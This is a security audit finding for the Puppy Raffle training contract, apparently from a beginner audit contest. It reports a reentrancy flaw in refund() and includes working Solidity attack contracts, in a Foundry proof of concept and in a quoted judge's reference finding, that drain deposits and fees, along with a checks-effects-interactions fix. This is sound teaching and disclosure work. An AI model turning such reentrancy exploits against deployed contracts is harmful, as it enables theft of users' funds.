Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in PuppyRaffle::refund(): sendValue() pays before the player slot is cleared, so one ticket can be refunded repeatedly to drain other players' deposits and accrued protocol fees

friedsocks233

Root + Impact

Description

  • refund() should return exactly one entranceFee to an active player and then mark that player's slot as refunded (address(0)), so the same ticket cannot be refunded a second time and other players' deposits stay in the contract.

  • refund() sends ETH with payable(msg.sender).sendValue(entranceFee) at L101 and only clears the slot with players[playerIndex] = address(0) at L103, and the contract has no reentrancy guard. OpenZeppelin 3.4.0 Address.sendValue uses recipient.call{value: amount}("") and forwards all gas, so a contract player's receive() can call refund(playerIndex) again while players[playerIndex] still equals msg.sender. The checks at L98-L99 pass on every re-entry, and the loop only ends when the contract balance falls below entranceFee.

// src/PuppyRaffle.sol L96-L105
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // @> external call with all gas forwarded, before the state update
​
players[playerIndex] = address(0); // @> slot is cleared only after the transfer, so re-entry still passes L98-L99
emit RaffleRefunded(playerAddress);
}
​
// lib/openzeppelin-contracts/contracts/utils/Address.sol L53-L58 (v3.4.0, for reference)
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
​
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }(""); // @> hands control to the recipient's receive()
require(success, "Address: unable to send value, recipient may have reverted");
}

Risk

Likelihood:

  • Any account can trigger it at any time during an open round: enterRaffle() accepts contract addresses, the attacker needs only one entranceFee, and getActivePlayerIndex() returns the slot index.

  • It happens whenever the contract holds at least one entranceFee beyond the attacker's own deposit, which is the normal state while other players are entered or fees are still unwithdrawn.

  • The attack is a single transaction with a short receive() hook; it needs no privileged role, no timing, and no special market conditions.

Impact:

  • Direct theft of other players' deposits: in the PoC, 4 honest players deposit 4 ETH and an attacker who pays 1 ETH leaves with 5 ETH, with the raffle balance at 0.

  • Theft of accrued, unwithdrawn protocol fees, which sit in the same balance: in the PoC the attacker takes 3 ETH for 1 ETH paid out of a 3.8 ETH balance that includes 0.8 ETH of round-1 fees. Only a remainder smaller than one entranceFee (0.8 ETH there) is left.

  • The contract becomes insolvent for the rest of the round: an honest player's refund then reverts with "Address: insufficient balance", so remaining players cannot recover their entrance fees.

Proof of Concept

The PoC adds a ReentrantRefunder contract that enters the raffle with one ticket and calls refund() again from receive() while the raffle still holds at least one entranceFee. test_baseline_refundPaysOnce shows the intended behavior: one honest refund pays exactly 1 ETH and a second refund of the same slot reverts. test_reentrancy_drainsAllDeposits asserts that after 4 honest 1 ETH entries the attacker gets 5 refunds from one ticket, the raffle balance is 0, and the attacker holds 5 ETH. test_reentrancy_stealsAccruedFeesAndBricksRound asserts that the attacker takes 3 ETH from a balance that includes 0.8 ETH of accrued fees, leaving 0.8 ETH, and that an honest player's refund then reverts with "Address: insufficient balance". Run it with: forge test --match-path test/PoC_PR-01.t.sol -vvv

File test/PoC_PR-01.t.sol; run FOUNDRY_FFI=false forge test --match-path test/PoC_PR-01.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
// Attacker: buys one ticket, then re-enters refund() from receive()
// while the raffle still holds at least one entranceFee.
contract ReentrantRefunder {
PuppyRaffle public immutable raffle;
uint256 public immutable fee;
uint256 public idx;
uint256 public refundsReceived;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
fee = _raffle.entranceFee();
}
​
function attack() external payable {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: fee}(me);
idx = raffle.getActivePlayerIndex(address(this));
raffle.refund(idx);
}
​
receive() external payable {
refundsReceived++;
if (address(raffle).balance >= fee) {
raffle.refund(idx);
}
}
}
​
// Honest contract player that just accepts its refund (no re-entry).
contract HonestContractPlayer {
receive() external payable {}
}
​
contract PoC_PR01 is Test {
PuppyRaffle raffle;
uint256 constant FEE = 1 ether;
uint256 constant DURATION = 1 days;
address feeAddress = address(uint160(0xFEE));
​
function setUp() public {
raffle = new PuppyRaffle(FEE, feeAddress, DURATION);
}
​
function _player(uint256 i) internal pure returns (address) {
return address(uint160(0x1000 + i));
}
​
function _enter(uint256 from, uint256 count) internal {
address[] memory ps = new address[](count);
for (uint256 i = 0; i < count; i++) {
ps[i] = _player(from + i);
}
vm.deal(address(this), FEE * count);
raffle.enterRaffle{value: FEE * count}(ps);
}
​
// Baseline: an honest single refund pays exactly one entranceFee, leaves
// the other players' deposits intact, and a repeat refund is rejected.
function test_baseline_refundPaysOnce() public {
_enter(0, 4);
HonestContractPlayer honest = new HonestContractPlayer();
address[] memory one = new address[](1);
one[0] = address(honest);
vm.deal(address(honest), FEE);
vm.prank(address(honest));
raffle.enterRaffle{value: FEE}(one);
assertEq(address(raffle).balance, 5 ether);
​
uint256 idx = raffle.getActivePlayerIndex(address(honest));
vm.prank(address(honest));
raffle.refund(idx);
​
assertEq(address(honest).balance, FEE, "honest got exactly one fee");
assertEq(address(raffle).balance, 4 ether, "others' deposits intact");
​
// Slot cleared to address(0): a second refund of the same slot reverts
// (the slot no longer equals msg.sender, so the L98 check rejects it).
vm.prank(address(honest));
vm.expectRevert(bytes("PuppyRaffle: Only the player can refund"));
raffle.refund(idx);
}
​
// Exploit: attacker drains every deposit by recursively refunding one ticket.
function test_reentrancy_drainsAllDeposits() public {
// 4 honest players put in 4 ETH.
_enter(0, 4);
assertEq(address(raffle).balance, 4 ether, "pre: 4 honest deposits");
​
ReentrantRefunder attacker = new ReentrantRefunder(raffle);
vm.deal(address(attacker), FEE); // attacker funds a single ticket
​
// One call. receive() re-enters refund until the balance is drained.
attacker.attack();
​
// The contract is emptied.
assertEq(address(raffle).balance, 0, "raffle fully drained");
// Attacker put in 1 ETH and walked away with 5 ETH (net +4 stolen).
assertEq(address(attacker).balance, 5 ether, "attacker holds 5 ETH");
// It took 5 refund payments (1 legit + 4 stolen) from one ticket.
assertEq(attacker.refundsReceived(), 5, "5 refunds from 1 ticket");
}
​
// Exploit also steals accrued, unwithdrawn protocol fees sitting in the
// same balance, and leaves the contract insolvent for honest refunds.
function test_reentrancy_stealsAccruedFeesAndBricksRound() public {
// Round 1: 4 players enter and a winner is selected, leaving fees
// (20% of 4 ETH = 0.8 ETH) accrued in the contract.
_enter(0, 4);
vm.warp(block.timestamp + DURATION + 1);
raffle.selectWinner();
uint256 fees = raffle.totalFees();
assertEq(fees, 0.8 ether, "0.8 ETH fees accrued");
assertEq(address(raffle).balance, 0.8 ether, "fees sit in balance");
​
// Round 2: 2 fresh honest players enter (2 ETH), so balance = 2.8 ETH:
// 2 ETH of live round-2 deposits + 0.8 ETH of round-1 fees.
_enter(10, 2);
assertEq(address(raffle).balance, 2.8 ether);
​
// Attacker enters round 2 and re-enters refund.
ReentrantRefunder attacker = new ReentrantRefunder(raffle);
vm.deal(address(attacker), FEE);
attacker.attack();
​
// Attacker paid 1 ETH, drained everything down to dust < 1 ETH.
// Balance started at 3.8 ETH (2.8 + attacker's 1). 3 refunds of 1 ETH
// leave 0.8 ETH (< fee), which the attacker cannot pull.
assertEq(address(raffle).balance, 0.8 ether, "only sub-fee dust remains");
assertEq(address(attacker).balance, 3 ether, "attacker took 3 ETH for 1 ETH in");
​
// An honest round-2 player can no longer refund: the contract cannot
// pay a full fee out of 0.8 ETH, so sendValue reverts.
uint256 idx = raffle.getActivePlayerIndex(_player(10));
vm.prank(_player(10));
vm.expectRevert(bytes("Address: insufficient balance"));
raffle.refund(idx);
}
}

Recommended Mitigation

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+
+ payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!